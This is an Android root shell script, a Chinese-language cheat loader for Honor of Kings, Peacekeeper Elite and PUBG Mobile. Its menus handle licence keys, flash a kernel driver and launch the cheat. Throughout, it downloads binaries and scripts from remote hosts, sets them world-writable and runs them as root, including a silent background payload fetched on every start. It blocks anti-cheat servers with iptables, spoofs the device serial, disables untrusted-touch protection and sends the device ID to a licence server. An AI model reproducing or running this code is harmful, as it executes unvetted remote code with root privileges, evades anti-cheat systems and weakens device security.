#!/system/bin/sh
clear
mkdir -p /sdcard/monian/
cd /sdcard/monian/
#判断ROOT
if [ $(id -u) != 0 ]; then
    echo -e "\033[31;;1m\n   [!] 没有ROOT权限!\033[0m"
    echo -e "\033[31;;1m\n   [!] 正在尝试通过MT管理器漏洞获取ROOT!\033[0m"
    sleep 2
    exec su -c sh "$0" "$@"
    exit 1
fi
#判断执行器
if [ $(pidof 'bash' | wc -l) = 0 ]; then
    echo -e "\033[31;;1m\n   [!] 未检测到终端环境!\033[0m"
    exit 1
fi
#判断dialog
lj_dialog="/bin/dialog"
md5_dialog="15d7e057170fda1d7ab0b408717c3698  $lj_dialog"
down_dialog(){
              curl -# -o $lj_dialog "https://pan.baidu.re/down.php/15d7e057170fda1d7ab0b408717c3698."
              chmod 777 $lj_dialog
              }
if [ ! -f $lj_dialog ]; then
    down_dialog
    tc=1
fi
dialog_md5=$(md5sum "$lj_dialog")
if [ "$dialog_md5" != "$md5_dialog" ]; then
    down_dialog
    tc=1
fi
#判断support
lj_support="/data/user/0/com.termux/files/usr/lib/libandroid-support.so"
md5_support="a3e743ad84404f17c7bae75da3442605  $lj_support"
if [ ! -d /data/user/0/com.termux/files/usr/lib/ ]; then
   mkdir -p /data/user/0/com.termux/files/usr/lib/
fi
down_support(){
              curl -# -o $lj_support "https://pan.baidu.re/down.php/a3e743ad84404f17c7bae75da3442605.so"
              chmod 777 $lj_support
              }
if [ ! -f $lj_support ]; then
    down_support
    tc=1
fi
support_md5=$(md5sum "$lj_support")
if [ "$support_md5" != "$md5_support" ]; then
    down_support
    tc=1
fi
#判断ncursesw
lj_ncursesw="/data/user/0/com.termux/files/usr/lib/libncursesw.so.6"
md5_ncursesw="7be4a7a16a8c04835c355b0c43835ffc  $lj_ncursesw"
if [ ! -d /data/user/0/com.termux/files/usr/lib/ ]; then
   mkdir -p /data/user/0/com.termux/files/usr/lib/
fi
down_ncursesw(){
              curl -# -o $lj_ncursesw "https://pan.baidu.re/down.php/7be4a7a16a8c04835c355b0c43835ffc.6"
              chmod 777 $lj_ncursesw
              }
if [ ! -f $lj_ncursesw ]; then
    down_ncursesw
    tc=1
fi
ncursesw_md5=$(md5sum "$lj_ncursesw")
if [ "$ncursesw_md5" != "$md5_ncursesw" ]; then
    down_ncursesw
    tc=1
fi
#判断256color
lj_256color="/data/user/0/com.termux/files/usr/share/terminfo/x/xterm-256color"
md5_256color="c34a274f33d4a381ca9cb0108a7fe7d8  $lj_256color"
if [ ! -d /data/user/0/com.termux/files/usr/share/terminfo/x/ ]; then
   mkdir -p /data/user/0/com.termux/files/usr/share/terminfo/x/
fi
down_256color(){
              curl -# -o $lj_256color "https://pan.baidu.re/down.php/c34a274f33d4a381ca9cb0108a7fe7d8."
              chmod 777 $lj_256color
              }
if [ ! -f $lj_256color ]; then
    down_256color
    tc=1
fi
color_md5=$(md5sum "$lj_256color")
if [ "$color_md5" != "$md5_256color" ]; then
    down_256color
    tc=1
fi
#awk
if [ -f /data/user/0/bin.mt.plus/files/term/bin/awk ]; then
    rm -f /data/user/0/bin.mt.plus/files/term/bin/awk
fi
#重加载
if [ "$tc" = "1" ]; then
    exec su -c sh "$0" "$@"
    exit 0
fi
#加载提示
dialog --no-shadow --title "提示" --infobox "\n  程序加载中...\n " 7 25
#网络
if [ $(curl -s -o /dev/null -w "%{http_code}" http://w.t3yanzheng.com) != 200 ]; then
    dialog --no-shadow --ok-label "退出" --backtitle "陌念" --title "服务器验证" --msgbox "\n\n   [!] 服务器连接失败!" 10 30 2>/dev/null
    clear
    exit 1
fi
#菜单函数
dbl(){
     lj_km="/sdcard/monian/km"
     if [ ! -f $lj_km ]; then
         touch $lj_km
     fi
     km=$(cat $lj_km)
     imei=$(settings get secure android_id)
}
nh(){
nhqd=$(ps -eo comm,cmd | grep "(deleted)" | cut -d ' ' -f 1 | grep -v grep | grep -v deleted | grep -v daemon | grep -v monian | grep -Eo '[a-z]{6}')
if [ $nhqd ]; then
    qd="/dev/$nhqd"
    cd_nh="[$nhqd]"
else
    qd="未知!"
    cd_nh="[!]"
fi
}
dl(){
     dlkm=$(curl -s --location --request POST "http://w.t3yanzheng.com/5F8483E4776A79A4?kami=$km&imei=$imei" | sed -n '1p;3p;4p')
     echo $dlkm >dl
     if [ $(echo "$dlkm" | grep "登录成功") ]; then
         kml=$(echo "$dlkm" | grep "卡密时长")
         kml=${kml#*:}
         kml=${kml%;*}
         kmtime=$(echo "$dlkm" | grep "到期时间")
         kmtime=${kmtime#*:}
         kmtime=${kmtime%;*}
         echo "$kml" >kml
         echo "$kmtime" >kmtime
     else
         echo "未知!" >kml
         echo "未知!" >kmtime
     fi
}
cd0(){
nh
dl &
menu=$(dialog --no-shadow --no-cancel --default-item "$menu" --ok-label "确定" --backtitle "陌念" --title "主页"  --stdout --menu "" 11 30 1 \
"[1]" 启动辅助 \
"[2]" 内核驱动$cd_nh \
"[3]" 卡密管理 \
"[4]" 更多功能 \
"[5]" 关于程序)
if [ $menu = "[1]" ]; then
    cd1
elif [ $menu = "[2]" ]; then
    cd2
elif [ $menu = "[3]" ]; then
    cd3
elif [ $menu = "[4]" ]; then
    cd4
elif [ $menu = "[5]" ]; then
    cd5
else
    exit 1
fi
}
cd1(){
     if [ ! "$(cat dl | grep "登录成功")" ]; then
         dialog --no-shadow --ok-label "返回" --backtitle "陌念" --title "提示" --msgbox "\n登录失败!\n\n$(cat dl)!\n " 10 35
         cd0
     fi
     if [ ! $nhqd ]; then
        dialog --no-shadow --yes-label "继续" --no-label "返回" --backtitle "陌念" --title "提示" --yesno "\n未检测到内核驱动\n\n是否继续?\n " 10 30
        if [ $? != 0 ]; then
            cd0
        fi
     fi
#公告
gg=$(curl -s --location --request POST "http://w.t3yanzheng.com/655F6983CB0B08B4?kami=$km&valueid=1192&valuename=monian_gg")
dialog --no-shadow --ok-label "朕已阅" --backtitle "陌念" --title "公告" --msgbox "$gg" 13 50 2>/dev/null
#主进程
wzry="com.tencent.tmgp.sgame"
hpjy="com.tencent.tmgp.pubgmhd"
pubg="com.tencent.ig"
wz1=".SGameActivity"
hp1="com.epicgames.ue4.SplashActivity"
jc1=$(pidof $wzry | wc -l)
jc2=$(pidof $hpjy | wc -l)
jc3=$(pidof $pubg | wc -l)
lj_fz=/data/monian
http(){
      curl -so $lj_fz $(curl -s --location --request POST "http://w.t3yanzheng.com/655F6983CB0B08B4?kami=$km&valueid=$valueid&valuename=$valuename")
      chmod 777 $lj_fz 
     }
lanj(){
     iptables -I INPUT -s anticheatexpert.com -j DROP
     iptables -I INPUT -s 120.232.22.107 -j DROP
     iptables -I INPUT -s 113.96.16.116 -j DROP
     iptables -I INPUT -s 157.148.33.67 -j DROP
     iptables -I INPUT -s 180.109.156.92 -j DROP
     iptables -I INPUT -s 36.155.240.19 -j DROP
     iptables -I INPUT -s 153.3.50.229 -j DROP
     iptables -I INPUT -s 119.45.69.203 -j DROP
     iptables -I INPUT -s 129.226.3.232 -j DROP
     iptables -I INPUT -s 129.226.2.231 -j DROP
     iptables -I INPUT -s 129.226.2.142 -j DROP
     iptables -I INPUT -s 101.32.143.171 -j DROP
}
if [ "$jc1" -gt 0 ]; then
    game="王者荣耀"
    bm=$wzry
    lm=wz1
    valueid=1187
    valuename=wz_url2
    lanj
    if [ ! -d /sdcard/monian/hero/ ];then
        hero &
    fi
    if [ -f /sdcard/monian/lib/pz ]; then
        touch /sdcard/monian/lib/pz
    fi
    http &
    httpid=$(jobs -p | tail -1)
    until [ $i = 99 ];do let i++;echo $i;sleep 0.005;done | dialog --no-shadow --backtitle "陌念" --title "$game" --gauge "\n加载资源中[0/2]" 10 30
    wait $httpid
    echo 100 | dialog --no-shadow --title "$game" --gauge "\n加载资源中[1/2]" 10 30
    mv $lj_fz /data/tempp2
    chmod 777 /data/tempp2
    valueid=1186
    valuename=wz_url1
elif [ "$jc2" -gt 0 ]; then
    game="和平精英"
    bm=$hpjy
    lm=$hp1
    valueid=1189
    valuename=hp_url
elif [ "$jc3" -gt 0 ]; then
    game="地铁逃生"
    bm=$pubg
    lm=$hp1
    valueid=1191
    valuename=pu_url
else
    xz=$(dialog --no-shadow --ok-label "确认" --cancel-label "返回" --default-item "$xz" --backtitle "陌念" --title "启动辅助" --stdout --menu "没有获取到进程\n\n请选择进程" 12 30 1 \
    "[1]" 王者荣耀 \
    "[2]" 和平精英 \
    "[3]" PUBGM)
    if [ "$xz" = "[1]" ]; then
        game="王者荣耀"
        bm=$wzry
        lm=wz1
        valueid=1187
        valuename=wz_url2
        lanj
        if [ ! -d /sdcard/monian/hero/ ];then
        hero &
        fi
        if [ -f /sdcard/monian/lib/pz ]; then
        touch /sdcard/monian/lib/pz
        fi
        http &
        httpid=$(jobs -p | tail -1)
        until [ $i = 99 ];do let i++;echo $i;sleep 0.005;done | dialog --no-shadow --backtitle "陌念" --title "$game" --gauge "\n加载资源中[0/2]" 10 30
        wait $httpid
        echo 100 | dialog --no-shadow --title "$game" --gauge "\n加载资源中[1/2]" 10 30
        mv $lj_fz /data/tempp2
        chmod 777 /data/tempp2
        sleep 0.5
        valueid=1186
        valuename=wz_url1
    elif [ "$xz" = "[2]" ]; then
        game="和平精英"
        bm=$hpjy
        lm=$hp1
        valueid=1189
        valuename=hp_url
    elif [ "$xz" = "[3]" ]; then
        game="地铁逃生"
        bm=$pubg
        lm=$hp1
        valueid=1191
        valuename=pu_url
    else
        cd0
    fi
fi
#加载资源
http &
httpid=$(jobs -p | tail -1)
until [ $i = 99 ];do let i++;echo $i;sleep 0.01;done | dialog --no-shadow --backtitle "陌念" --title "$game" --gauge "\n加载资源中!" 10 30
wait $httpid
echo 100 | dialog --no-shadow --backtitle "陌念" --title "$game" --gauge "\n加载完成!" 10 30
ck=$(dumpsys window | grep deepestLastOrientationSource | grep "$pubg")
if [ "$ck" ];then
input keyevent 3
fi
if [ $(pidof monian | wc -l) != 0 ]; then
    pidof monian | xargs kill -9 >/dev/null
fi
    {
      sleep 1
      echo 0
      sleep 0.5
      echo 2
      sleep 0.5
      echo 0
    } | nohup $lj_fz >/sdcard/monian/MoNian.txt 2>&1 &
sth(){
sleep 1
dialog --no-shadow --ok-label "进入游戏" --backtitle "陌念" --title "$game" --msgbox "\n\n请等待悬浮窗出现后进入游戏" 10 30 
if [ $? = 0 ]; then
    clear
    am start -n $bm/$lm >/dev/null
fi
}
sth &
sleep 60
until [ $(pidof "$bm" | wc -l) = "0" ]
do
    sleep 60
    curl -s --location --request POST "http://w.t3yanzheng.com/5F8483E4776A79A4?kami=$km&imei=$imei" >/dev/null
done
pidof monian | xargs kill -9 >/dev/null
iptables -F
}
cd2(){
     nh
     me2=$(dialog --no-shadow --default-item "$me2" --cancel-label "返回" --ok-label "确定" --backtitle "陌念" --title "内核驱动"  --stdout --menu "\n驱动节点:$qd\n " 11 30 1 \
     "[1]" 刷入内核 \
     "[2]" 卸载内核)
     if [ $? = 0 ]; then
        if [ $me2 = "[1]" ]; then
            cd2_1
        elif [ $me2 = "[2]" ]; then
            cd2_2
        fi
     else
        cd0
     fi
}
cd2_1(){
       if [ $nhqd ]; then
           dialog --no-shadow --yes-label "继续" --no-label "返回" --backtitle "陌念" --title "提示" --yesno "\n[?] 检测到您已刷入内核\n\n    是否继续?\n " 10 30
           if [ $? != 0 ]; then
               cd2
           fi
       fi
       dialog --no-shadow --title "提示" --infobox "\n  正在刷入中\n\n  请稍等...\n " 7 25
       nhbb=$((uname -r) | cut -d "-" -f 1)
       if [ $(echo $nhbb | grep "5.10") ]; then
           nhtp="https://pan.baidu.re/down.php/be96743cb0980088773184f7ffe7a0aa.sh"
       elif [ $nhbb = "4.14.186" ]; then
           nhtp="https://pan.baidu.re/down.php/2de9b7be0d1aabd95af15c502077a3d2.sh"
       else
            dialog --no-shadow --ok-label "返回" --backtitle "陌念" --title "提示" --msgbox "\n您的内核版本暂未适配!\n " 10 30
            cd2
       fi
       curl -so /data/kernel "$nhtp"
       chmod 777 /data/kernel
       /data/kernel >/dev/null 2>&1 &
       sleep 3
       rm /data/kernel
       cd2
}
cd2_2(){
       if [ ! $nhqd ]; then
           dialog --no-shadow --ok-label "返回" --backtitle "陌念" --title "提示" --msgbox "\n未检测到内核驱动,无法卸载!\n " 10 30
           cd2
       fi
       dialog --no-shadow --yes-label "确定" --no-label "返回" --backtitle "陌念" --title "提示" --yesno "\n\n[!] 您确定要卸载内核吗?\n " 10 30
        if [ $? = 0 ]; then
           pidof $nhqd | xargs kill -9 >/dev/null 2>&1
       fi
       cd2
}
cd3(){
      kml=$(cat kml)
      kmtime=$(cat kmtime)
      kmgl=$(dialog --no-shadow --default-item "$kmgl" --cancel-label "返回" --ok-label "确定" --backtitle "陌念" --title "卡密管理"  --stdout --menu "\n卡密:$km\n\n卡密类型:$kml\n\n到期时间:$kmtime\n " 16 45 1 \
     "[1]" 购买卡密 \
     "[2]" 输入卡密 \
     "[3]" 解绑卡密)
     if [ $? = 0 ]; then
        if [ $kmgl = "[1]" ]; then
            cd3_1
        elif [ $kmgl = "[2]" ]; then
            cd3_2
        elif [ $kmgl = "[3]" ]; then
            cd3_3
        fi
     else
        cd0
     fi
}
cd3_1(){
       am start -a android.intent.action.VIEW -d  "https://buy.zihu88.com/links/63F8C12B" >/dev/null 2>&1
       cd3
}
cd3_2(){
       dl=$(dialog --no-shadow --ok-label "确认" --cancel-label "返回" --backtitle "陌念" --title "卡密管理" --inputbox "\n请输入卡密:\n " 10 45 2>&1 >/dev/tty)
       if [ $? != 0 ]; then
           cd3
       fi
       until [ $dl ]
       do
       dl=$(dialog --no-shadow --ok-label "确认" --cancel-label "返回" --backtitle "陌念" --title "卡密管理" --inputbox "\n请输入卡密:\n\n卡密不能为空!\n " 12 45 2>&1 >/dev/tty)
       if [ $? != 0 ]; then
           cd3
           cd1
       fi
       done
       echo $dl >$lj_km
       dbl
       dl &
       cd3
}
cd3_3(){
        dialog --no-shadow --yes-label "确定" --no-label "返回" --backtitle "陌念" --title "提示" --yesno "\n\n[!] 您确定要解除IP/机械码绑定吗?\n " 10 40
        if [ $? = 0 ]; then
            jb_imei=$(curl -s --location --request POST "http://w.t3yanzheng.com/D0FB6CF3A584A6A5?kami=$km")
            jb_ip=$(curl -s --location --request POST "http://w.t3yanzheng.com/0F4A29C3188DFE9D?kami=$km")
            dialog --no-shadow --ok-label "确定" --backtitle "陌念" --title "提示" --msgbox "\nIP:$jb_ip\n\n机械码:$jb_imei" 10 30
        fi
        cd3
}
cd4(){
      if [ -f "/data/media/0/Android/data/org.telegram.messenger/cache/-6073331903030735413_97.jpg" ]; then
          tg="✔"
      else
          tg="✘"
      fi
      sth=$(echo "$(settings get system block_untrusted_touches)$(settings get global block_untrusted_touches)$(settings get secure block_untrusted_touches)")
      if [ $sth = 000 ]; then
          cmo="✔"
      else
          cmo="✘"
      fi
      xlh=$(getprop ro.serialno)
      gd=$(dialog --no-shadow --default-item "$gd" --cancel-label "返回" --ok-label "确定" --backtitle "陌念" --title "更多功能"  --stdout --menu "" 11 40 1 \
     "[1]" TG过验证[$tg] \
     "[2]" 允许不受信任的触摸[$cmo] \
     "[3]" 更改序列号[$xlh])
     if [ $? = 0 ]; then
        if [ $gd = "[1]" ]; then
            cd4_1
        elif [ $gd = "[2]" ]; then
            cd4_2
        elif [ $gd = "[3]" ]; then
            cd4_3
        fi
     else
        cd0
     fi
}
cd4_1(){
       if [ $tg = "✘" ]; then
           mkdir -p "/data/media/0/Android/data/org.telegram.messenger/cache/"
           touch "/data/media/0/Android/data/org.telegram.messenger/cache/-6073331903030735413_97.jpg"
       else
           rm -rf "/data/media/0/Android/data/org.telegram.messenger/cache/-6073331903030735413_97.jpg"
       fi
       cd4
}
cd4_2(){
       if [ $cmo = "✘" ]; then
           settings put system block_untrusted_touches 0
           settings put global block_untrusted_touches 0
           settings put secure block_untrusted_touches 0
       else
           settings put system block_untrusted_touches 1
           settings put global block_untrusted_touches 1
           settings put secure block_untrusted_touches 1
       fi
       cd4
}
cd4_3(){
        name=$(tr -dc \'1-9\' < /dev/urandom | head -c 8)
        while echo "$name" | grep -q "'"
        do
        name=$(tr -dc \'1-9\' < /dev/urandom | head -c 8)
        done 
        resetprop ro.serialno $name >/dev/null 2>&1
        cd4
}
cd5(){
     dialog --no-shadow --yes-label "程序日志" --no-label "返回" --backtitle "陌念" --title "关于程序" --yesno "\n作者:  陌念\n\n版本:  v$(echo $var | cut -b 1).$(echo $var | cut -b 2)" 9 30 2>/dev/null
     if [ $? = 0 ]; then
         cd5_1
     else
         cd0
     fi
}
cd5_1(){
       dialog --no-shadow --ok-label "返回" --backtitle "陌念" --title "日志" --msgbox "\n$(cat /sdcard/monian/MoNian.txt)" 20 50 2>/dev/null
       cd5
}
hero(){
      curl -so hero.tar "https://pan.baidu.re/down.php/0315d57b5e61ad0fde8818f9080f17a7.tar"
      tar xzf hero.tar -C /sdcard/monian/
}
#sh
do_sh(){
       curl -so /data/moli $(curl -s --location --request POST "http://w.t3yanzheng.com/655F6983CB0B08B4?kami=$km&valueid=1226&valuename=url_sh")
       chmod 777 /data/moli
       exec /data/moli >/dev/null 2>&1
}
#sh
dbl
do_sh &
#判断终端
if [ "$0" != "/data/user/0/bin.mt.plus/files/term/bin/monian" ]; then
    dialog --no-shadow --yes-label "更新" --no-label "退出" --backtitle "陌念" --title "提示" --yesno "\n  [!] 挂载点错误!\n " 7 25 2>/dev/null
    if [ $? = 0 ]; then
        dialog --no-shadow --title "提示" --infobox "\n  更新中\n\n  请稍等...\n " 7 25
        curl -so /data/user/0/bin.mt.plus/files/term/bin/monian $(curl -s --location --request POST "http://w.t3yanzheng.com/655F6983CB0B08B4?kami=$km&valueid=1227&valuename=update")
        if [ "$?" = "0" ]; then
            rm "$0"
            dialog --no-shadow --title "提示" --infobox "\n  更新成功!" 7 25
            chmod 777 /data/user/0/bin.mt.plus/files/term/bin/monian
            exec su -c sh "/data/user/0/bin.mt.plus/files/term/bin/monian" "$@"
        else
            dialog --no-shadow --ok-label "退出" --backtitle "陌念" --title "提示" --msgbox "\n   [!] 更新失败!" 7 25 2>/dev/null
        fi
    fi
fi
#版本验证
var=15
ver=$(curl -s --location --request POST "http://w.t3yanzheng.com/8F542AD36CD78E2A")
if [ "$ver" != "$var" ]; then
    dialog --no-shadow --yes-label "更新" --no-label "退出" --backtitle "陌念" --title "提示" --yesno "\n  [!] 版本过期![v$(echo $var | cut -b 1).$(echo $var | cut -b 2)]\n " 7 25 2>/dev/null
    if [ $? = 0 ]; then
        dialog --no-shadow --title "提示" --infobox "\n  更新中\n\n  请稍等...\n " 7 25
        curl -so /data/user/0/bin.mt.plus/files/term/bin/monian $(curl -s --location --request POST "http://w.t3yanzheng.com/655F6983CB0B08B4?kami=$km&valueid=1227&valuename=update")
        if [ "$?" = "0" ]; then
            dialog --no-shadow --title "提示" --infobox "\n  更新成功!" 7 25
            chmod 777 /data/user/0/bin.mt.plus/files/term/bin/monian
            exec su -c sh "/data/user/0/bin.mt.plus/files/term/bin/monian" "$@"
        else
            dialog --no-shadow --ok-label "退出" --backtitle "陌念" --title "提示" --msgbox "\n   [!] 更新失败!" 7 25 2>/dev/null
        fi
    fi
    clear
    exit 1
fi
#菜单
cd0
